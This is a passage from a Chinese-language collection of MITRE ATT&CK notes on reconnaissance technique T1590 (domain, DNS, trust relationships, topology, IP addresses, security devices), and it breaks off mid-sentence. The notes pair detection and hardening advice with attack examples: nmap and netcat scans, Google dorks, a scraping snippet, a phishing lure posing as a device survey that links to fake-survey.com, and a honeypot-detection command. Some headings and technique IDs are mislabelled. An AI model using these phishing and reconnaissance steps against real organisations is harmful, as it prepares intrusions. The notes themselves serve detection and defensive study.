alert`。 - **有效账号使用(T1078)**: - 检测异常的管理员登录,如 Windows 事件 ID 4624(登录成功)。 ### 外部情报监控 - 订阅威胁情报服务,获取针对组织域名的 DNS 扫描或泄露预警。 - 监控暗网或 Pastebin,识别泄露的 DNS 记录或子域名。 - 与行业合作伙伴共享威胁情报,了解类似组织的攻击模式。 ### 降低误报 - 区分合法的 DNS 查询(如员工或合作伙伴)与攻击者的扫描活动,结合 IP 地理位置、查询频率等上下文。 - 使用机器学习模型分析 DNS 流量,识别异常查询模式。 - 定期更新检测规则,避免误报正常的 DNS 管理操作。 ## 参考推荐 - MITRE ATT&CK:T1590 - 域渗透——DNS记录的获取 - Microsoft dnscmd 文档 - Microsoft RSAT 下载 - PowerShell DnsServer 模块文档 ================================================ FILE: Windows/01侦察/T1590.001-收集目标组织网络信息-域属性.md ================================================ # T1590-001-收集目标组织网络信息-域属性 ## 描述 攻击者在入侵目标组织之前,可能收集其网络域属性的信息。域属性信息包括目标组织拥有的域名、注册商信息、域名注册人联系方式(如姓名、电子邮件、电话)、公司地址、名称服务器(NS记录)、注册和到期日期等。这些信息可帮助攻击者了解目标的网络架构、关键联系人以及潜在的攻击入口点。 攻击者可能通过以下方式收集域属性信息: - **被动收集**:查询公开的WHOIS数据库、DNS记录或其他技术数据库(如DNS Dumpster、Circl Passive DNS)。 - **主动收集**:通过扫描目标域的服务器(如端口扫描、Banner抓取)获取服务信息,或通过钓鱼诱导员工泄露域名管理凭据。 - **社会工程**:伪装成合法实体,通过邮件或电话套取域名管理相关信息。 - **公开信息分析**:利用搜索引擎、社交媒体或泄露文档(如Pastebin)获取与域名相关的信息。 收集到的域属性信息可能为后续攻击活动做准备,例如搜索开放网站/域(T1593)、主动扫描(T1595)、建立运营资源(T1583/T1584)或通过钓鱼攻击实现初始访问(T1566)。 ## 测试案例 以下是模拟攻击者收集域属性信息的常见方法和工具: - **WHOIS查询**: - **Kali Linux WHOIS**:使用命令行工具`whois target.com`查询域名注册信息。 - **在线WHOIS查询工具**: - **站长之家** (): 查询域名归属、注册商及到期时间。 - **爱站网** (): 提供域名注册信息和历史记录。 - **IP138** (): 查询域名和IP关联信息。 - **ICANN Lookup** (): 官方WHOIS查询工具。 - **腾讯云域名信息查询** (): 查询域名注册详情。 - **Whois Lookup** (): 提供详细的WHOIS记录。 - **新网WHOIS** (): 查询国内域名注册信息。 - **被动DNS与历史记录查询**: - **DNS Dumpster** (): 获取域名关联的DNS记录和历史信息。 - **SecurityTrails** (): 查询域名的历史解析记录和子域名。 - **Circl Passive DNS** (): 提供全球DNS记录查询。 - **威胁情报平台**: - **微步在线** (): 提供域名相关的威胁情报和注册信息。 - **奇安信威胁情报平台** (): 分析域名与潜在威胁的关联。 - **社会工程**: - 通过伪装成域名注册商发送钓鱼邮件,诱导员工泄露域名管理平台凭据。 - 在社交媒体或论坛(如LinkedIn、QQ群)收集员工泄露的域名信息。 - **案例场景**: - 攻击者通过ICANN Lookup查询目标域名的注册人邮箱,发现其用于其他服务,发起针对性钓鱼攻击。 - 使用SecurityTrails发现目标域名的历史NS记录,推测其托管服务提供商并寻找弱点。 ## 检测日志 域属性信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **DNS服务器日志**: - 记录异常的DNS查询,如针对敏感域名的频繁WHOIS或NS查询。 - **Web服务器日志**: - 检测与域名管理平台相关的异常登录尝试或HTTP请求。 - **邮件服务器日志**: - 监控钓鱼邮件或社会工程攻击,可能与域名信息收集相关。 - **网络流量日志**: - 检测外部主机对组织DNS服务器的异常查询或扫描行为。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **被动收集**:使用ICANN Lookup或SecurityTrails查询目标域名的WHOIS记录和历史DNS数据。 - **主动查询**:在授权测试环境中,使用`whois`命令或在线工具查询目标域名的注册信息。 - **社会工程模拟**:在红队测试中,伪装成注册商发送钓鱼邮件,诱导员工泄露域名管理凭据。 - **综合测试**:结合DNS Dumpster和Shodan,分析目标域名的子域名和关联资产。 ## 测试留痕 - **被动WHOIS查询**:通常不留明显痕迹,难以直接检测。 - **主动扫描**:可能在DNS服务器或防火墙日志中记录异常查询或扫描流量。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 - **域名管理平台**:异常登录尝试可能在管理平台日志中记录。 ## 检测规则/思路 由于域属性信息收集多发生在目标组织视野之外,检测需结合多种手段: - **DNS查询监控**: - 配置DNS服务器记录查询日志,检测异常的WHOIS或NS查询模式。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **网络流量分析**: - 部署IDS/IPS(如Snort、Suricata)监控异常DNS查询或针对管理端口的扫描。 - 使用Zeek或NetFlow分析DNS请求模式,识别潜在的枚举行为。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露域名相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的WHOIS数据。 - **威胁情报整合**: - 结合威胁情报平台(如微步在线、奇安信),识别已知的WHOIS查询工具或恶意IP。 - 定期检查公开WHOIS数据库中的记录,评估信息暴露风险。 ## 建议 - **减少信息暴露**: - 使用WHOIS隐私保护服务,隐藏注册人联系方式和公司信息。 - 定期审查公开DNS记录,删除不必要的子域名或敏感信息。 - 对员工进行安全意识培训,防止通过社会工程泄露域名管理凭据。 - **域名安全加固**: - 启用域名注册锁,防止未经授权的域名转移。 - 实施MFA(多因素认证)保护域名管理平台。 - 定期更新DNS记录,移除过期的NS或A记录。 - **主动监控与响应**: - 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的域属性侦察活动。 - 定期审计域名注册商和托管服务提供商的安全配置。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1566、横向移动T1021),通过异常网络流量或钓鱼行为间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1590-003 (Domain Properties) - 收集域名信息与安全 - 渗透测试之信息收集DNS篇 ================================================ FILE: Windows/01侦察/T1590.002-收集目标组织网络信息-DNS.md ================================================ # T1590-002-收集目标组织网络信息-DNS ## 来自ATT&CK的描述 攻击者在入侵目标组织之前,可能收集其DNS相关信息,以了解目标的网络架构和关键资产。DNS信息包括注册的名称服务器、子域名、邮件服务器(MX记录)、其他主机地址(A/AAAA记录)以及相关的TXT或CNAME记录等。这些信息可帮助攻击者识别目标的网络入口点、基础设施分布或潜在漏洞。 攻击者可能通过以下方式收集DNS信息: - **被动DNS查询**:利用公开DNS数据库或历史记录(如SecurityTrails、DNS Dumpster)获取目标的域名解析历史。 - **主动DNS查询**:直接查询目标域名的DNS记录(如使用dig、nslookup)。 - **公开信息收集**:通过搜索引擎、社交媒体或泄露文档获取与DNS相关的配置信息。 - **社会工程**:通过钓鱼或伪装身份诱导员工泄露DNS相关信息(如管理凭据)。 收集到的DNS信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或利用外部远程服务实现初始访问(T1133)。 ## 测试案例 以下是模拟攻击者收集DNS信息的常见方法和工具: - **被动DNS查询**: - **SecurityTrails** (): 查询目标域名的历史DNS记录,包括IP地址、子域名和机房信息。 - **DNS Dumpster** (): 提供目标域名的DNS映射和子域名信息。 - **ViewDNS.info** (): 获取DNS历史记录,追踪域名解析变更。 - **DNSDB** (): 全球DNS搜索引擎,查询目标域名的历史和当前记录。 - **主动DNS查询**: - **dig/nslookup**: 直接查询目标域名的A、MX、NS、TXT等记录。 - **dnsenum**: 自动化枚举目标域名的子域名和DNS记录。 - **Fierce**: 用于DNS枚举和子域名爆破的工具。 - **在线查询平台**: - **ThreatBook** (): 提供DNS和威胁情报分析。 - **Netcraft** (): 分析目标域名的托管信息和历史记录。 - **社会工程**: - 通过伪装成IT管理员发送钓鱼邮件,诱导员工泄露DNS管理平台的凭据。 - 在论坛或社交媒体(如QQ群、LinkedIn)收集员工泄露的DNS配置信息。 - **案例场景**: - 攻击者通过SecurityTrails查询目标组织的子域名,发现未正确配置的邮件服务器(MX记录),进而发起针对该服务器的攻击。 - 使用dnsenum枚举子域名,识别隐藏的测试环境(如test.target.com),作为后续入侵的入口。 ## 检测日志 DNS信息收集多通过公开数据库或外部查询进行,难以直接监测。以下是可能的日志来源: - **DNS服务器日志**: - 记录异常的DNS查询模式,如来自单一IP的高频查询或针对子域的批量查询。 - **网络流量日志**: - 检测外部主机对组织DNS服务器的异常请求(如大量A/NS/MX查询)。 - **Web服务器日志**: - 监控与DNS管理平台相关的异常登录尝试或HTTP请求。 - **邮件服务器日志**: - 检测钓鱼邮件或社会工程攻击,可能与DNS信息收集相关。 ## 测试复现 无标准化复现流程。可通过以下方式模拟: - **被动收集**:使用SecurityTrails或DNS Dumpster查询目标组织的DNS记录,记录子域名和历史IP。 - **主动查询**:在授权测试环境中,使用dig或dnsenum枚举目标域名的子域名和记录。 - **社会工程模拟**:在红队测试中,伪装成第三方服务提供商,诱导员工泄露DNS管理信息。 - **综合测试**:结合FOFA/Shodan搜索与目标域名关联的外部资产,推测DNS配置。 ## 测试留痕 - **被动DNS查询**:通常不留明显痕迹,难以直接检测。 - **主动DNS查询**:可能在DNS服务器日志中记录异常查询流量。 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼交互记录。 - **DNS管理平台**:异常登录尝试可能在管理平台日志中记录。 ## 测试留痕 由于DNS信息收集多发生在目标组织视野之外,检测需结合多种手段: - **DNS查询监控**: - 配置DNS服务器记录查询日志,检测异常的高频查询或针对敏感子域的请求。 - 使用DNS防火墙(如Cloudflare Gateway)阻止已知的恶意查询来源。 - **网络流量分析**: - 部署IDS/IPS(如Snort、Suricata)监控异常DNS流量,如来自单一IP的批量查询。 - 使用Zeek或NetFlow分析DNS请求模式,识别潜在的枚举行为。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件或社交媒体泄露DNS相关信息。 - 监控公开信息源(如Pastebin、暗网论坛)中是否出现组织的DNS记录。 - **威胁情报整合**: - 结合威胁情报平台(如ThreatBook),识别已知的DNS侦察工具或恶意IP。 - 定期检查第三方DNS数据库(如SecurityTrails)中的记录,评估信息暴露风险。 ### 建议 - **减少信息暴露**: - 使用WHOIS隐私保护服务,隐藏域名注册信息。 - 定期清理或限制公开DNS记录,避免暴露敏感子域名或服务器信息。 - 对员工进行安全意识培训,防止通过社会工程泄露DNS管理凭据。 - **DNS安全加固**: - 实施DNSSEC(DNS安全扩展)以防止DNS欺骗和篡改。 - 限制DNS管理平台的访问,仅允许白名单IP登录。 - 定期审计DNS记录,删除未使用的子域名或记录。 - **主动监控与响应**: - 部署DNS日志分析工具(如Splunk、ELK),监控异常查询行为。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的DNS侦察活动。 - 定期审查第三方服务提供商的DNS配置,确保其安全性。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、横向移动T1021),通过异常网络流量或登录行为间接发现DNS侦察活动。 ## 参考资料 - MITRE ATT&CK: T1590-002 - DNS历史解析与安全 - 渗透测试之信息收集DNS篇 ================================================ FILE: Windows/01侦察/T1590.003-收集目标组织网络信息-网络信任关系.md ================================================ # T1590-001-收集目标组织网络信息-网络信任关系 ## 描述 攻击者在入侵目标组织之前,可能收集其网络信任关系的信息。网络信任关系信息包括与目标组织存在信任连接的第二方或第三方组织/域的详细信息,例如托管服务提供商、承包商、分公司或其他合作伙伴的网络访问权限。这些信任关系可能涉及专线连接、VPN、共享凭据或单点登录(SSO)系统,攻击者可利用这些关系实现初始访问或横向移动。 攻击者可能通过以下方式收集网络信任关系信息: - **社会工程**:通过钓鱼邮件、电话伪装或社交媒体诱骗员工泄露信任关系信息。 - **公开信息收集**:查询公开技术数据库(如WHOIS、DNS记录)或搜索企业官网、社交媒体、招标文档等,获取与合作伙伴或供应商相关的信息。 - **网络侦察**:通过扫描或被动信息收集,识别目标组织与外部实体之间的网络连接(如专线、VPN端点)。 - **泄露数据分析**:利用暗网或公开泄露的数据集(如Pastebin、数据泄露论坛)获取信任关系信息。 收集到的信任关系信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域(T1593)、建立运营资源(T1583/T1584)或利用信任关系实现初始访问(T1199)。 ## 测试案例 以下是收集网络信任关系信息的常见方法和场景: - **社会工程**: - 伪装成IT支持人员,通过钓鱼邮件诱导员工泄露VPN配置或第三方服务凭据。 - 在LinkedIn、QQ群或行业论坛中与员工互动,套取与供应商或分公司的网络连接信息。 - **公开信息收集**: - 使用Google高级搜索语法(如`site:*.target.com "partner" | "supplier" | "contractor"`)查找目标组织与第三方合作的公开信息。 - 查询WHOIS记录或DNS记录,识别与目标组织相关的子域或关联IP,推测信任关系。 - 搜索公开招标文档或企业年报,获取与托管服务提供商或分公司的合作细节。 - **网络扫描**: - 使用Nmap或Masscan扫描目标组织的外部IP范围,识别VPN网关、远程访问服务或专线端点。 - 使用Shodan或FOFA搜索与目标组织关联的外部设备,推测信任网络的边界。 - **案例场景**: - 在航空、金融或电信行业,攻击者可能通过入侵分公司的弱安全系统(如未打补丁的服务器),利用专线或共享凭据进入目标组织的内部网络。 - 攻击者可能利用泄露的第三方托管服务提供商凭据(如云服务API密钥),通过信任关系访问目标组织的资源。 ## 检测日志 网络信任关系信息的收集多发生在目标组织视野之外,检测难度较高。以下是可能的日志来源: - **外部活动**: - **邮件服务器日志**:记录钓鱼邮件或异常的外部邮件交互。 - **Web服务器日志**:检测异常的HTTP请求,可能与爬取公开信息相关。 - **DNS日志**:监控针对组织域名的异常查询,可能是攻击者尝试推测信任关系。 - **内部活动**: - **VPN/远程访问日志**:记录异常的登录尝试或来自未知IP的连接。 - **网络流量日志**:检测来自第三方网络的异常流量,可能与信任关系滥用相关。 - **身份验证日志**:监控共享凭据或SSO系统的异常使用情况。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **外部测试**: - 使用FOFA或Shodan搜索目标组织的VPN网关或远程访问服务,分析可能的信任关系。 - 通过Google搜索或社交媒体收集与目标组织合作的第三方信息。 - **内部测试**: - 在授权测试环境中,模拟通过已攻陷的第三方系统(如分公司的服务器)尝试访问目标网络。 - 使用Nmap扫描内网,识别与外部信任网络(如VPN或专线)相关的设备。 - **社会工程模拟**: - 在红队测试中,伪装成合作伙伴发送钓鱼邮件,诱导员工泄露信任关系信息。 ## 测试留痕 - **社会工程**:可能在邮件服务器或员工设备上留下钓鱼邮件或交互记录。 - **外部扫描**:防火墙或IDS/IPS可能记录异常的扫描流量(如针对VPN端口的探测)。 - **公开信息收集**:通常不留明显痕迹,难以直接检测。 - **信任关系滥用**:可能在VPN或身份验证日志中记录异常的登录尝试或流量。 ## 检测规则/思路 由于网络信任关系收集活动难以直接检测,建议从以下角度进行监控: - **外部活动检测**: - 使用IDS/IPS(如Snort、Suricata)监控针对VPN、远程桌面或管理接口的异常扫描行为。 - 配置WAF(Web应用防火墙)检测针对企业网站的异常爬取行为。 - 监控DNS查询日志,识别针对组织域名的频繁或异常查询。 - **内部行为监控**: - 使用SIEM系统关联VPN、身份验证和网络流量日志,检测来自第三方网络的异常访问。 - 部署EDR(端点检测与响应)工具,监控员工设备上的异常进程(如运行钓鱼邮件附件)。 - **信息泄露防护**: - 使用DLP(数据丢失防护)工具,检测员工通过邮件、网盘或社交媒体泄露信任关系信息。 - 定期监控公开信息源(如Pastebin、暗网论坛)中是否出现与组织相关的信任关系数据。 - **威胁情报整合**: - 结合外部威胁情报,识别已知的恶意IP或钓鱼活动,关联可能的侦察行为。 - 监控第三方合作伙伴的公开数据泄露事件,评估对自身信任关系的影响。 ## 建议 - **减少信息暴露**: - 限制公开文档中与合作伙伴、供应商或分公司的网络连接信息。 - 对员工进行安全意识培训,防止通过社交媒体或钓鱼泄露信任关系信息。 - 使用WHOIS隐私保护服务,减少域名注册信息暴露。 - **网络安全加固**: - 实施强身份验证(如MFA)保护VPN、SSO或远程访问系统。 - 配置网络分段,限制第三方网络对核心系统的直接访问。 - 定期审计与第三方合作的网络连接(如专线、VPN),确保访问权限最小化。 - **主动监控与响应**: - 部署网络流量分析工具(如Zeek、NetFlow)监控与第三方网络的异常交互。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的侦察或信任关系滥用行为。 - 定期审查第三方合作伙伴的安全合规性,确保其网络安全措施达标。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1199、横向移动T1021),通过异常登录或网络流量间接发现侦察活动。 ## 参考资料 - MITRE ATT&CK: T1590-001 - 渗透测试信息收集技术 ================================================ FILE: Windows/01侦察/T1590.004-收集目标组织网络信息-网络拓扑.md ================================================ # T1590-004-收集目标组织网络信息-网络拓扑 ## 描述 攻击者在入侵目标组织之前,可能通过多种方式收集其网络拓扑信息。这些信息包括目标网络的物理或逻辑布局,例如内部和外部网络的结构、关键网络设备(如网关、路由器、交换机)的分布,以及其他基础设施的详细信息(如DMZ、子网划分)。通过了解网络拓扑,攻击者能够识别关键节点、潜在弱点或入口点,为后续的初始访问(如T1133外部远程服务)或横向移动(如T1021)奠定基础。 攻击者可能通过以下方式收集网络拓扑信息: - **外部收集**:利用公开信息源(如搜索引擎、社交媒体、泄露的文档)或主动扫描外部网络接口。 - **内部收集**:在获得初始访问后,通过内网扫描、流量嗅探或配置信息提取获取更详细的拓扑信息。 - **社会工程**:通过钓鱼或社交媒体(如QQ群、论坛)获取员工泄露的网络架构信息。 ## 测试案例 以下是收集网络拓扑信息的常见方法和工具: - **外部收集**: - **搜索引擎利用**:使用Google高级搜索语法(如`site:*.target.com filetype:pdf "network diagram"`)查找公开的网络架构文档。 - **网盘检索**:搜索网盘(如百度网盘、Google Drive)中泄露的网络拓扑图或配置文件。 - **社交媒体和论坛**:通过QQ群、微信群、Discord或技术论坛收集员工无意泄露的网络信息。 - **被动DNS分析**:使用工具(如DNS Dumpster、SecurityTrails)分析DNS记录,推测子网或服务器分布。 - **内部收集**: - **网络扫描工具**: - **Nmap**:扫描内网IP范围,识别活跃主机、开放端口及服务。 - **Angry IP Scanner**:快速扫描内网设备,获取IP和MAC地址。 - **流量嗅探**:使用Wireshark或tcpdump捕获网络流量,分析通信模式以推导拓扑。 - **配置提取**:通过已攻陷设备提取路由器或交换机的配置文件(如Cisco IOS的`show running-config`)。 - **空间搜索引擎**: - **FOFA/Shodan**:搜索目标组织的外部设备(如路由器、VPN网关)以推测网络边界。 - **ZoomEye**:识别暴露的网络设备和服务。 ## 检测日志 网络拓扑信息收集多发生在目标组织视野之外,检测难度较大。以下是可能用于检测的日志来源: - **外部探测**: - **防火墙日志**:记录异常的外部扫描流量(如高频SYN包或端口扫描)。 - **Web服务器日志**:检测异常的HTTP请求,可能与搜索引擎爬取或恶意探测相关。 - **DNS日志**:监控针对组织域名的异常DNS查询。 - **内部活动**: - **网络流量日志**:检测内网中的异常扫描行为或流量模式。 - **系统日志**:记录对网络设备(如路由器、交换机)的未授权访问尝试。 - **EDR日志**:监控主机上的异常进程(如运行Nmap或Wireshark)。 ## 测试复现 暂无标准化复现流程。可通过以下方式模拟: - **外部测试**:使用FOFA或Shodan搜索目标组织的外部设备,结合Nmap进行端口扫描,记录暴露的网关或服务器。 - **内部测试**:在授权测试环境中,使用Nmap扫描内网IP范围,结合Wireshark捕获流量,绘制简单的网络拓扑图。 - **社会工程模拟**:在红队测试中,尝试通过公开信息源(如LinkedIn、论坛)或伪装身份获取员工泄露的网络信息。 ## 测试留痕 - **外部探测**:可能在防火墙或IDS/IPS中留下扫描流量记录,如高频TCP/UDP连接尝试。 - **内部扫描**:内网设备可能记录异常的ARP请求、端口扫描或流量嗅探行为。 - **社会工程**:可能在邮件服务器或社交平台日志中留下钓鱼或信息收集的痕迹。 - **被动收集**:通过公开数据库或搜索引擎进行的收集通常不留明显痕迹。 ## 检测规则/思路 由于网络拓扑收集活动难以直接检测,建议从以下角度进行监控: - **外部扫描检测**: - 使用IDS/IPS(如Snort、Suricata)监控高频扫描流量或异常端口访问。 - 设置防火墙规则,限制对敏感端口(如管理端口22、3389)的外部访问。 - **内部行为监控**: - 部署网络监控工具(如Zeek)分析内网流量,检测异常的扫描或嗅探行为。 - 使用SIEM系统关联主机和网络日志,识别运行扫描工具的异常进程。 - **信息泄露防护**: - 监控公开信息源(如Pastebin、网盘)中是否出现组织的网络拓扑图或配置文件。 - 使用DLP(数据丢失防护)工具检测员工通过邮件或社交媒体泄露敏感信息。 - **威胁情报整合**:结合外部威胁情报,识别已知的恶意IP或扫描模式,关联可能的侦察活动。 ## 建议 - **减少信息暴露**: - 限制公开文档中的网络拓扑信息,避免在官网或网盘泄露架构图。 - 对员工进行安全意识培训,防止通过社交媒体或论坛泄露敏感信息。 - 使用CDN或WAF隐藏关键网络设备的真实IP地址。 - **网络安全加固**: - 限制外部对管理接口(如SSH、RDP)的访问,仅允许白名单IP。 - 配置VLAN和网络分段,减少内网设备暴露面。 - 定期更新网络设备的固件和访问控制列表(ACL)。 - **主动监控与响应**: - 部署网络流量分析工具(如Zeek、NetFlow)监控异常流量。 - 使用威胁狩猎(Threat Hunting)技术,主动搜索可能的侦察行为。 - 定期审计网络设备配置,检查是否被未授权访问。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133、横向移动T1021),通过异常登录或网络流量间接发现侦察活动。 ## 参考推荐 - MITRE ATT&CK: T1590-004 - 渗透测试信息收集技术 ================================================ FILE: Windows/01侦察/T1590.005-收集目标组织网络信息-IP地址.md ================================================ # T1590-005-收集目标组织网络信息-IP地址 ## 描述 攻击者可能在攻击前收集目标组织的IP地址信息,以了解其网络结构和基础设施。IP地址信息通常包括分配给目标组织的IP地址块、当前使用的IP地址范围等。这些信息可帮助攻击者推测目标的组织规模、地理位置、互联网服务提供商(ISP)以及面向公众的基础设施部署情况。 攻击者可能通过以下方式收集IP地址信息: - **主动收集**:使用扫描工具(如Nmap、Masscan)或钓鱼技术。 - **被动收集**:查询公开技术数据库(如WHOIS、DNS Dumpster、Circl Passive DNS)或利用空间搜索引擎(如FOFA、ZoomEye)。 - **绕过CDN**:通过技术手段(如DNS历史记录查询)获取隐藏在CDN后的真实IP地址。 收集到的IP地址信息可能为后续攻击活动做准备,例如主动扫描(T1595)、搜索开放网站/域名(T1593)或建立运营资源(T1583/T1584),最终支持初始访问(如利用外部远程服务,T1133)。 ## 测试案例 以下是收集IP地址信息的常见方法和工具: - **网络扫描工具**: - **Nmap**:用于发现目标网络中的活跃IP地址和开放端口。 - **Masscan**:高效扫描大规模IP地址范围。 - **Goby**:自动化资产发现和漏洞扫描工具。 - **空间搜索引擎**: - **FOFA**:通过搜索特定IP地址或网络特征发现目标资产。 - **ZoomEye**:提供全球IP地址和设备指纹的查询功能。 - **绕过CDN查找真实IP**: - 使用DNS历史记录查询工具(如SecurityTrails、DNS Dumpster)。 - 参考方法:。 ## 检测日志 由于IP地址信息收集多发生在目标组织网络外部(如通过公开数据库或扫描),传统日志难以有效监测。可能的日志来源包括: - **DNS日志**:监控异常的DNS查询行为。 - **网络流量日志**:检测来自外部的扫描流量(如高频SYN包)。 - **Web服务器日志**:记录异常的HTTP请求,可能与钓鱼或探测相关。 ## 测试复现 暂无标准化复现流程。攻击者通常结合主动扫描和被动查询完成IP地址收集,具体复现需根据目标环境模拟工具使用(如Nmap扫描或FOFA查询)。 ## 测试留痕 - **主动扫描**:目标网络可能记录到异常的扫描流量(如来自单一IP的高频端口扫描)。 - **被动查询**:通常不留明显痕迹,难以直接检测。 - **CDN绕过**:可能在DNS查询日志中留下历史记录查询的痕迹。 ## 检测规则/思路 由于IP地址收集活动多发生在目标组织视野之外,检测较为困难。以下是一些检测思路: - **异常流量监控**:使用IDS/IPS(如Snort、Suricata)检测异常扫描行为,例如高频TCP/UDP连接尝试。 - **DNS查询分析**:监控异常的DNS查询模式,特别是针对组织域名的频繁查询。 - **威胁情报整合**:结合外部威胁情报,识别已知的恶意IP或扫描来源。 - **CDN日志分析**:若使用CDN,分析CDN日志中的异常请求,检测可能的IP泄露尝试。 ## 建议 - **降低信息暴露**: - 限制WHOIS记录中的敏感信息(如联系方式)。 - 使用CDN隐藏真实服务器IP地址。 - 定期检查公开数据库中的IP信息泄露。 - **增强网络防御**: - 部署防火墙和IDS/IPS,限制未经授权的扫描流量。 - 配置WAF(Web应用防火墙)以检测和阻止异常探测行为。 - **主动监控**: - 使用威胁情报平台跟踪针对组织的侦察活动。 - 定期审计DNS记录和IP分配,防止泄露。 - **后续阶段检测**: - 重点监控攻击者生命周期的后续阶段(如初始访问T1133),通过异常登录或外部远程服务利用行为间接发现侦察活动。 ## 参考推荐 - MITRE ATT&CK: T1590-005 - 渗透测试信息收集技术 ================================================ FILE: Windows/01侦察/T1590.006-收集目标组织网络信息-网络安全设备.md ================================================ # T1590-006-收集目标组织网络信息-网络安全设备 ## 描述 在入侵目标组织之前,攻击者可能通过多种外部方式收集目标组织的网络安全设备信息(T1590.006)。这些信息可用于目标定位、了解网络防御能力或指导后续攻击活动(如外部远程服务 T1133、漏洞利用 T1190 或供应链攻击 T1195)。网络安全设备信息通常包括已部署的防火墙、内容筛选器、代理/堡垒主机、网络入侵检测系统(NIDS)或其他防御性设备的型号、版本或配置详情。由于这些活动通常在目标组织的监测范围之外(如通过公开数据源、主动扫描或社交工程)进行,防御者难以直接发现。 攻击者收集网络安全设备信息的动机包括: - **规避防御机制**:通过识别防火墙或 NIDS 的型号和版本,寻找可利用的漏洞或绕过策略。 - **定制攻击向量**:利用设备信息开发针对特定安全设备的攻击技术(如针对蜜罐的识别与阻断)。 - **供应链攻击**:识别安全设备供应商,寻找供应链中的弱点。 ## 测试案例 以下测试案例展示了攻击者可能使用的外部网络安全设备信息收集方法,聚焦于公开数据源、主动扫描和社交工程,特别包括通过公开采购信息和 WEB 蜜罐识别技术收集信息。 #### 测试案例 1:通过公开采购信息收集网络安全设备信息 **关联技术**:T1590.006(网络安全设备信息收集) **说明**: - 攻击者通过公开的采购公告、招标文件或公司官网,提取目标组织使用的防火墙、NIDS 或其他安全设备的型号和版本。 **示例操作**: - 搜索目标组织的采购公告,关键词包括“防火墙”、“NIDS”、“代理”或“安全设备”。 - 示例采购公告: ``` 采购 Cisco ASA 5525-X 防火墙和 Fortinet FortiGate 100F 用于网络安全升级。 ``` **输出示例**: ``` Organization: example.com Security Devices: Cisco ASA 5525-X Firewall, Fortinet FortiGate 100F ``` **说明**: - 公开采购信息可能泄露安全设备的型号和供应商。 - 关联 T1590.006:通过公开采购信息收集网络安全设备数据。 #### 测试案例 2:通过社交媒体收集网络安全设备信息 **关联技术**:T1590.006(网络安全设备信息收集) **说明**: - 攻击者通过 LinkedIn、微博或技术论坛(如 CSDN、Reddit),收集员工分享的网络安全设备部署或配置信息。 **示例操作**(Python 伪代码): ```python import requests from bs4 import BeautifulSoup url = "https://www.linkedin.com/company/example-org/posts/" response = requests.get(url) soup = BeautifulSoup(response.text, 'html.parser') # 提取网络安全设备相关信息 security_info = [post.text for post in soup.find_all(text=lambda t: "firewall" in t.lower() or "nids" in t.lower())] print(security_info) ``` **输出示例**: ``` Post: "Just upgraded our network with Palo Alto PA-220 firewalls." Security Device: Palo Alto PA-220 Firewall ``` **说明**: - 员工可能在社交媒体分享安全设备的部署信息。 - 关联 T1590.006:通过社交媒体获取网络安全设备信息。 #### 测试案例 3:钓鱼收集网络安全设备信息 **关联技术**:T1590.006(网络安全设备信息收集)、T1566(钓鱼) **说明**: - 攻击者通过伪造的邮件或调查问卷,诱导员工泄露防火墙、NIDS 或代理设备的型号和版本信息。 **示例操作**: - 发送伪造邮件: ``` Subject: 网络安全设备调查 Body: 请提供您公司使用的防火墙或 NIDS 型号以协助技术支持:http://fake-survey.com ``` - 伪造调查页面(HTML 伪代码): ```html
防火墙型号: NIDS 型号:
``` **输出示例**(攻击者服务器日志): ``` POST /collect HTTP/1.1 firewall=Cisco ASA 5525-X&nids=Snort 3.1 ``` **说明**: - 钓鱼攻击可直接收集网络安全设备信息,为后续攻击提供基础。 - 关联 T1590.006:通过钓鱼获取网络安全设备信息。 #### 测试案例 4:通过主动扫描识别网络安全设备 **关联技术**:T1590.006(网络安全设备信息收集)、T1046(网络服务扫描) **说明**: - 攻击者通过端口扫描或 Banner 抓取识别目标网络中部署的防火墙、代理或 NIDS 设备。 **示例操作**: ```bash # 使用 Nmap 扫描目标网络 nmap -sV -p 80,443,8080 192.168.1.10 # 或使用 netcat 抓取 Banner nc 192.168.1.10 443 HEAD / HTTP/1.0 ``` **输出示例**: ``` Nmap scan report for 192.168.1.10 Port 443/tcp open https Fortinet FortiGate 100F ``` **说明**: - `nmap -sV` 可识别防火墙或代理设备的型号,Banner 抓取可能暴露设备信息。 - 关联 T1590.006:通过主动扫描收集网络安全设备信息。 #### 测试案例 5:通过 WEB 蜜罐识别技术收集信息 **关联技术**:T1590.006(网络安全设备信息收集) **说明**: - 攻击者使用专门工具或插件(如红队常用的 WEB 蜜罐识别阻断插件)检测目标网络中的蜜罐或防御设备。 **示例操作**: - 使用浏览器插件或脚本扫描目标网站,识别是否存在蜜罐(如 T-Pot 或 Cowrie)。 **示例工具**(参考 FreeBuf 文章): ```bash # 使用红队工具检测蜜罐 python detect_honeypot.py --url https://example.com ``` **输出示例**: ``` URL: https://example.com Security Device: T-Pot Honeypot detected ``` **说明**: - 红队工具可帮助攻击者识别蜜罐或其他防御设备,规避检测。 - 关联 T1590.006:通过蜜罐识别技术收集网络安全设备信息。 ## 测试复现 ### 外部场景(公开信息收集) 1. **环境**:Kali Linux 或任何带有浏览器的系统。 2. **步骤**: - 搜索目标组织的采购公告或社交媒体,提取网络安全设备相关关键词(如“firewall”、“NIDS”)。 - 访问公司官网(如 